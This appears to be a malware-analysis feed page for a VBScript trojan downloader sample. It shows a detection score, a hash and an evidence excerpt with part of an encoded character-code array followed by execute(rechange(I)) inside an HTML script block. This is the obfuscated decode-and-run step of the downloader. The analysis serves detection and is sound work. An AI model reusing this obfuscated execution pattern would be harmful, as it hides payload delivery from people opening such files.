Suspicious 80% Download

Trojan-Downloader.VBS.Psyme.gj

Trojan downloader executes decoded payload

Execute statement on variable
SHA-2568785bb729f2031c78631c1405f82bd71e9f752eb435bb7d2a50497ba1d55d80f
MaleculeO(Xe)

Evidence

Execute statement on variable lines 12–17
12:5101… 17,116,101,32,120,53,76,95,99,121,50,49,44,34,34,44,34,34,44,34,111,112,101,110,34,44,48"
13i=t
14execute(rechange(I))
15</script>
16</body>
17</html>

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.